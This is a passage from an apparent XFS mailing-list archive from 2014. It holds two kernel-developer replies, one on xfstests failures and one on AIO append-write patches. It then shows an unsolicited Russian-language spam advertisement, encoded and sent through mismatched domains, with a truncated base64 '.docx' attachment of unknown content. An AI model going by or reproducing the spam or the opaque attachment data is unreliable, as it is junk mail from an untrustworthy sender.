bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144842 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Feb 04, 2014 at 07:53:04PM +0200, Alex Lyakas wrote: > Hi Eric and Dave, > Thank you for your comments. > > I don't know whether my information is of any value to you or > anybody else, because I am using an EOL kernel 3.8.13. > I have run xfstests several times on two different kinds of block > devices. One is a local file attached to a KVM instance through > virtio, second is a custom Device Mapper. My local.config file is: > export TEST_DEV=/dev/mapper/vol-0x5 > export SCRATCH_DEV=/dev/mapper/vol-0x6 > export TEST_DIR=/mnt/TEST_DIR > export SCRATCH_MNT=/mnt/SCRATCH_DIR > export FSTYP="xfs" I'm not going to go into every test failure, but it definitely sounds like you are running on a RAID device that exposes sunit/swidth to mkfs. That is the likely cause of all the log size and stripe unit related failure. Also, you are running deprecated tests and some that are known to fail. You should run the "auto" group tests as those are the known "good" tests that should be regularly run. i.e. Try running: # MKFS_OPTIONS="-d noalign" ./check -g auto and that should solve amny of the log size and enospc failures that you are seeing. What is left is likely to be things we really need to fix. FYI, we know there are things that need to be fixed - I currently see 13 tests from the auto group fail on CRC enabled filesystems: Failures: generic/263 generic/313 xfs/021 xfs/033 xfs/066 xfs/073 xfs/189 xfs/216 xfs/295 xfs/296 xfs/299 xfs/301 xfs/302 Failed 13 of 240 tests Several of these are test issues, some of them are bugs that need triage and fixing. We're slowly working our way through them fixing the test issues - we've been fixing 3-4 a week for the past few weeks, so the situation is getting much better - 3 weeks ago the same test machine was seeing ~25 failures in a run. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Tue Feb 4 16:29:09 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 596A27F51 for ; Tue, 4 Feb 2014 16:29:09 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 483398F8037 for ; Tue, 4 Feb 2014 14:29:06 -0800 (PST) X-ASG-Debug-ID: 1391552943-04cb6c6de211bcc0001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id J9Xq5Z5N9OC8YBfx for ; Tue, 04 Feb 2014 14:29:04 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlkIAMxo8VJ5LGaB/2dsb2JhbABZgwyDPrYbhVKBDhd0giUBAQU6HCMQCAMOCgklDwUlAyETiATOJRcWjl8HgySBFAEDmCqSIoNBKA Received: from ppp121-44-102-129.lns20.syd6.internode.on.net (HELO dastard) ([121.44.102.129]) by ipmail06.adl6.internode.on.net with ESMTP; 05 Feb 2014 08:59:03 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WAoUH-0003Fw-IB; Wed, 05 Feb 2014 09:29:01 +1100 Date: Wed, 5 Feb 2014 09:29:01 +1100 From: Dave Chinner To: Christoph Hellwig Cc: xfs@oss.sgi.com, linux-fsdevel@vger.kernel.org, Sergey Meirovich Subject: Re: [PATCH 0/3] support appending AIO writes Message-ID: <20140204222901.GE13997@dastard> X-ASG-Orig-Subj: Re: [PATCH 0/3] support appending AIO writes References: <20140204172402.380571745@bombadil.infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140204172402.380571745@bombadil.infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1391552943 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144842 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Feb 04, 2014 at 09:24:02AM -0800, Christoph Hellwig wrote: > At least XFS can support appending AIO writes easily, and Sergey has > demonstrated a use case for them. > > I've not done any performance testing myself, but ensured that xfstests > already exercises the code path. The patches look sane. Does the dio change conflict with the work Al is doing right now of the direct IO path, or will marshalling that part of the change through the XFS tree be fine? Cheers, Dave. -- Dave Chinner david@fromorbit.com From aseevaleksandr2407@posturebeauty.com Tue Feb 4 18:04:58 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 3AD7429DF8 for ; Tue, 4 Feb 2014 18:04:58 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id C5700AC002 for ; Tue, 4 Feb 2014 16:04:54 -0800 (PST) X-ASG-Debug-ID: 1391558692-04bdf0122012f8e0001-NocioJ Received: from imsp.glcashloans.com (627486.com [74.200.244.244]) by cuda.sgi.com with ESMTP id W69SaLXj5vICa3w1 for ; Tue, 04 Feb 2014 16:04:53 -0800 (PST) X-Barracuda-Envelope-From: aseevaleksandr2407@posturebeauty.com X-Barracuda-Apparent-Source-IP: 74.200.244.244 Received: from v-consulting2.garant.ru ([80.253.4.19]:4635 helo=Unknown) by imsp.glcashloans.com with esmtpa (Exim 4.80) (envelope-from ) id 1WApyv-0007SN-VA; Tue, 04 Feb 2014 19:04:46 -0500 Message-ID: <152B0F34B7F3489AA9062BC160F2AED1@sjibo> Reply-To: =?windows-1251?B?7/Du9OXx8eju7eDr/O376SD+8Ojx8g==?= From: =?windows-1251?B?7/Du9OXx8eju7eDr/O376SD+8Ojx8g==?= To: , , , Subject: =?windows-1251?B?7eXx8ugg7vLi5fLx8uLl7e3u8fL8IO/uIOTu?= =?windows-1251?B?4+7i7vDzIOjr6CDv8Ogg7+7y5fDlIOjt8uXw?= =?windows-1251?B?5fHgIOog8eTl6+rlIOIg8ejr8yDo5+zl7eXt?= =?windows-1251?B?6P8=?= Date: Wed, 5 Feb 2014 01:05:10 +0100 X-ASG-Orig-Subj: =?windows-1251?B?7eXx8ugg7vLi5fLx8uLl7e3u8fL8IO/uIOTu?= =?windows-1251?B?4+7i7vDzIOjr6CDv8Ogg7+7y5fDlIOjt8uXw?= =?windows-1251?B?5fHgIOog8eTl6+rlIOIg8ejr8yDo5+zl7eXt?= =?windows-1251?B?6P8=?= MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_1D17_01CF220E.50FE3FC0" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Windows Mail 6.0.6001.18416 X-MimeOLE: Produced By Microsoft MimeOLE V6.0.6001.18645 X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - imsp.glcashloans.com X-AntiAbuse: Original Domain - oss.sgi.com X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12] X-AntiAbuse: Sender Address Domain - posturebeauty.com X-Get-Message-Sender-Via: imsp.glcashloans.com: authenticated_id: admin@instantdebtreduction.com X-Barracuda-Connect: 627486.com[74.200.244.244] X-Barracuda-Start-Time: 1391558692 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144845 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- This is a multi-part message in MIME format. ------=_NextPart_000_1D17_01CF220E.50FE3FC0 Content-Type: text/plain; charset="windows-1251" Content-Transfer-Encoding: quoted-printable =C2 =FE=F0=E8=E4=E8=F7=E5=F1=EA=E8=E9 =EE=F2=E4=E5=EB =CF=F0=E8=E3=EB=E0=F8=E0=E5=EC =ED=E0 =CA=D3=D0=D1 =EF=EE=E2=FB=F8=E5=ED=E8= =FF =EA=E2=E0=EB=E8=F4=E8=EA=E0=F6=E8=E8 =F1 =C0=D2=D2=C5=D1=D2=C0=D2=CE=CC= =E3=EE=F1=F3=E4=E0=F0=F1=F2=E2=E5=ED=ED=EE=E3=EE =EE=E1=F0=E0=E7=F6=E0 =EF= =EE =F2=E5=EC=E5: =C7=C0=D9=C8=D2=C0 =CF=D0=C0=C2 =CA=D0=C5=C4=C8=D2=CE=D0=C0. =DD=D4=D4=C5= =CA=D2=C8=C2=CD=C0=DF =C4=CE=C3=CE=C2=CE=D0=CD=C0=DF, =CF=D0=C5=D2=C5=CD=C7= =C8=CE=CD=CD=C0=DF =C8 =C8=D1=CA=CE=C2=C0=DF =D0=C0=C1=CE=D2=C0. =CF=CE=C4= =C3=CE=D2=CE=C2=CA=C0 =CA =D3=D7=C0=D1=D2=C8=DE =C2 =C0=D0=C1=C8=D2=D0=C0= =C6=CD=CE=CC =CF=D0=CE=D6=C5=D1=D1=C5 =CA=F3=F0=F1 =EF=F0=EE=E9=E4=E5=F2 l=EE =96 lI =F4=E5=E2=F0=E0=EB=FF 2OI=F7= =E3., =E2 =D1=E0=ED=EA=F2-=CF=E5=F2=E5=F0=E1=F3=F0=E3=E5 =C4=EB=FF =EF=EE=EB=F3=F7=E5=ED=E8=FF =E4=E5=F2=E0=EB=FC=ED=EE=E9 =E8=ED=F4= =EE=F0=EC=E0=F6=E8=E8 =E7=E2=EE=ED=E8=F2=E5 =EF=EE =F2=E5=EB=E5=F4=EE=ED=F3= (=F1=EC. =E2=ED=E8=E7=F3) =CA=D0=C0=D2=CA=C0=DF =CF=D0=CE=C3=D0=C0=CC=CC=C0: __________________________________ * =CE=F1=ED=EE=E2=ED=FB=E5 =EF=F0=E0=E2=E8=EB=E0 =EE=F4=EE=F0=EC=EB=E5=ED= =E8=FF =E4=EE=E3=EE=E2=EE=F0=EE=E2. * =CF=F0=E0=EA=F2=E8=F7=E5=F1=EA=E8=E5 =E2=EE=EF=F0=EE=F1=FB =EF=F0=E8=EC= =E5=ED=E5=ED=E8=FF =EF=F0=EE=F2=EE=EA=EE=EB=EE=E2 =F0=E0=E7=ED=EE=E3=EB=E0= =F1=E8=FF. * =D2=E5=F5=ED=EE=EB=EE=E3=E8=F7=E5=F1=EA=E8=E5 =E0=F1=EF=E5=EA=F2=FB =EF= =F0=EE=F2=E8=E2=EE=E4=E5=E9=F1=F2=E2=E8=FF =EC=EE=F8=E5=ED=ED=E8=F7=E5=F1= =EA=E8=EC =E4=E5=E9=F1=F2=E2=E8=FF=EC =ED=E5=E4=EE=E1=F0=EE=F1=EE=E2=E5=F1= =F2=ED=FB=F5 =EA=EE=ED=F2=F0=E0=E3=E5=ED=F2=EE=E2. * =C0=EA=F2=F3=E0=EB=FC=ED=FB=E5 =EF=F0=E0=E2=EE=E2=FB=E5 =E2=EE=EF=F0=EE= =F1=FB =E8=F1=EF=EE=EB=ED=E5=ED=E8=FF =EE=E1=FF=E7=E0=F2=E5=EB=FC=F1=F2=E2= . * =C0=EA=F2=F3=E0=EB=FC=ED=FB=E5 =FE=F0=E8=E4=E8=F7=E5=F1=EA=E8=E5 =E2=EE= =EF=F0=EE=F1=FB =EF=F0=E5=EA=F0=E0=F9=E5=ED=E8=FF =E4=EE=E3=EE=E2=EE=F0=ED= =FB=F5 =EE=E1=FF=E7=E0=F2=E5=EB=FC=F1=F2=E2. * =C0=EA=F2=F3=E0=EB=FC=ED=FB=E5 =EF=F0=E0=EA=F2=E8=F7=E5=F1=EA=E8=E5 =E2= =EE=EF=F0=EE=F1=FB =F0=E0=E1=EE=F2=FB =F1 =E4=E5=E1=E8=F2=EE=F0=E0=EC=E8 = =ED=E0 =E4=EE=F1=F3=E4=E5=E1=ED=EE=E9 =F1=F2=E0=E4=E8=E8 =E8 =EE=F0=E3=E0= =ED=E8=E7=E0=F6=E8=E8 =FD=F4=F4=E5=EA=F2=E8=E2=ED=EE=E9 =EF=F0=E5=F2=E5=ED= =E7=E8=EE=ED=ED=EE=E9 =F0=E0=E1=EE=F2=FB. * =D0=E0=E1=EE=F2=E0 =EF=EE =E2=FB=FF=E2=EB=E5=ED=E8=FE =ED=E0=F0=F3=F8=E5= =ED=E8=E9 =E4=EE=E3=EE=E2=EE=F0=ED=FB=F5 =F3=F1=EB=EE=E2=E8=E9. * =CF=F0=E0=EA=F2=E8=F7=E5=F1=EA=E8=E5 =EF=F0=EE=E1=EB=E5=EC=FB =EE=F2=EF= =F0=E0=E2=EB=E5=ED=E8=FF =E8 =E4=EE=F1=F2=E0=E2=EA=E8 =EF=F0=E5=F2=E5=ED=E7= =E8=E9. * =CE=EF=F0=E5=E4=E5=EB=E5=ED=E8=E5 =F1=EE=E4=E5=F0=E6=E0=ED=E8=FF =EF=F0= =E5=F2=E5=ED=E7=E8=E9. * =CF=F0=E8=EE=F1=F2=E0=ED=EE=E2=EB=E5=ED=E8=E5 =E2=F1=F2=F0=E5=F7=ED=EE=E3= =EE =E8=F1=EF=EE=EB=ED=E5=ED=E8=FF. * =D1=E1=EE=F0 =E8=ED=F4=EE=F0=EC=E0=F6=E8=E8 =EE =F4=E8=ED=E0=ED=F1=EE=E2= =EE=EC =F1=EE=F1=F2=EE=FF=ED=E8=E8 =E4=EE=EB=E6=ED=E8=EA=E0 =E8 =EE=EF=F0= =E5=E4=E5=EB=E5=ED=E8=E5 =EF=E5=F0=F1=EF=E5=EA=F2=E8=E2 =F4=E0=EA=F2=E8=F7= =E5=F1=EA=EE=E3=EE =E2=E7=FB=F1=EA=E0=ED=E8=FF. * =CE=F1=EE=E1=E5=ED=ED=EE=F1=F2=E8 =E2=E7=FB=F1=EA=E0=ED=E8=FF =ED=E5=F3= =F1=F2=EE=E9=EA=E8 =E8 =EF=F0=EE=F6=E5=ED=F2=EE=E2 =E3=EE=E4=EE=E2=FB=F5 = . * =CF=F0=E8=F1=F3=E6=E4=E5=ED=E8=E5 =EA =E8=F1=EF=EE=EB=ED=E5=ED=E8=FE =E2= =ED=E0=F2=F3=F0=E5 =EA=E0=EA =F1=EF=EE=F1=EE=E1 =E7=E0=F9=E8=F2=FB =EF=F0= =E0=E2 =EA=F0=E5=E4=E8=F2=EE=F0=E0. * =C2=E7=FB=F1=EA=E0=ED=E8=E5 =F3=E1=FB=F2=EA=EE=E2 =E7=E0 =ED=E0=F0=F3=F8= =E5=ED=E8=E5. * =D0=E0=F1=F2=EE=F0=E6=E5=ED=E8=E5 =E4=EE=E3=EE=E2=EE=F0=E0 =EA=E0=EA =EC= =E5=F5=E0=ED=E8=E7=EC =E7=E0=F9=E8=F2=FB =EF=F0=E0=E2 =EA=F0=E5=E4=E8=F2=EE= =F0=E0. * =CF=EE=F0=FF=E4=EE=EA =EF=EE=E4=E3=EE=F2=EE=E2=EA=E8 =E8=F1=EA=EE=E2=FB= =F5 =EC=E0=F2=E5=F0=E8=E0=EB=EE=E2 =E8 =F1=F2=F0=E0=F2=E5=E3=E8=FF =E2=E5= =E4=E5=ED=E8=FF =E4=E5=EB=E0 =E2 =F1=F3=E4=E5=E1=ED=FB=F5 =EE=F0=E3=E0=ED= =E0=F5. * =CF=EE=F1=EB=E5=E4=ED=FF=FF =F1=F3=E4=E5=E1=ED=E0=FF =EF=F0=E0=EA=F2=E8= =EA=E0 =EF=EE =E2=EE=EF=F0=EE=F1=E0=EC =EF=F0=E8=EC=E5=ED=E5=ED=E8=FF =E8= =F1=EA=EE=E2=EE=E9 =E4=E0=E2=ED=EE=F1=F2=E8. __________________________________ =CF=EE =EE=EA=EE=ED=F7=E0=ED=E8=E8 =EA=F3=F0=F1=E0 =E2=FB=E4=E0=E5=F2=F1=FF= =E4=EE=EA=F3=EC=E5=ED=F2 =EE =EA=F0=E0=F2=EA=EE=F1=F0=EE=F7=ED=EE=EC =EF= =EE=E2=FB=F8=E5=ED=E8=E8 =EA=E2=E0=EB=E8=F4=E8=EA=E0=F6=E8=E8 =E3=EE=F1=F3= =E4=E0=F0=F1=F2=E2=E5=ED=ED=EE=E3=EE =EE=E1=F0=E0=E7=F6=E0 (=ED=EE=EC=E5=F0= =EB=E8=F6=E5=ED=E7=E8=E8 =EC=EE=E6=ED=EE =F3=E7=ED=E0=F2=FC =EF=EE =F2=E5= =EB=E5=F4=EE=ED=F3 =EE=F0=E3=EA=EE=EC=E8=F2=E5=F2=E0) =D2=E5=EB=E5=F4=EE=ED =CE=F0=E3=EA=EE=EC=E8=F2=E5=F2=E0: 8 < =EA=EE=E4 =CF=E8=F2=E5=F0=E0 > 6=D7_2 =F77 . =D73 ------=_NextPart_000_1D17_01CF220E.50FE3FC0 Content-Type: application/octet-stream; name="progr_13-14.docx" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="progr_13-14.docx" UEsDBBQABgAIAAAAIQCPWexTnwEAABYHAAATAAgCW0NvbnRlbnRfVHlwZXNdLnhtbCCiBAIooAAC AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC0 lc1OwzAQhO9IvEPkK0pcOCCEmnKAcoRKFHF27U1rkdiWdwvt27Np2qiglpSfXiI59s58Hlvr/s2i KpM3iGi9y8V51hMJOO2NddNcPI/v0yuRIClnVOkd5GIJKG4Gpyf98TIAJlztMBczonAtJeoZVAoz H8DxTOFjpYiHcSqD0q9qCvKi17uU2jsCRynVGmLQv4NCzUtKhgv+3ZBEKFEkt83C2isXKoTSakVM Kt+c+eKSrh0yrlytwZkNeMYYQu50qGf2G6zrHjmaaA0kIxXpQVWMId99NNJ4Pa94D9n3Mjs4fVFY DW19rRai14DImVdl1s5UyroN/14OpGUJ+P8Uje6B9i+WZsOiAM2H3Z1HhWm96ayx2KrtdgMiDukQ k89XMO0KHdfKnQjvMHk6GsWWeCdI4T05T8c4+1a6EwKcORLDRrkToYaFeH7AvfvhlWiED/B3NFaT Eo5BsJbuhCDuuyBX378nsZL5zpI71Cj6gNzH4y+2vWnUdXXKrS9AJAttq97V6lpHfgP+nDPUr4wB s8Nbrl61wQcAAAD//wMAUEsDBBQABgAIAAAAIQAekRq38wAAAE4CAAALAAgCX3JlbHMvLnJlbHMg ogQCKKAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAjJLbSgNBDIbvBd9hyH032woi0tneSKF3IusDhJnsAXcOzKTavr2jILpQ217m9OfLT9ab g5vUO6c8Bq9hWdWg2JtgR99reG23iwdQWchbmoJnDUfOsGlub9YvPJGUoTyMMaui4rOGQSQ+ImYz sKNchci+VLqQHEkJU4+RzBv1jKu6vsf0VwOamabaWQ1pZ+9AtcdYNl/WDl03Gn4KZu/Yy4kVyAdh b9kuYipsScZyjWop9SwabDDPJZ2RYqwKNuBpotX1RP9fi46FLAmhCYnP83x1nANaXg902aJ5x687 HyFZLBZ9e/tDg7MvaD4BAAD//wMAUEsDBBQABgAIAAAAIQCrW3y7TAEAAEEFAAAcAAgBd29yZC9f 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 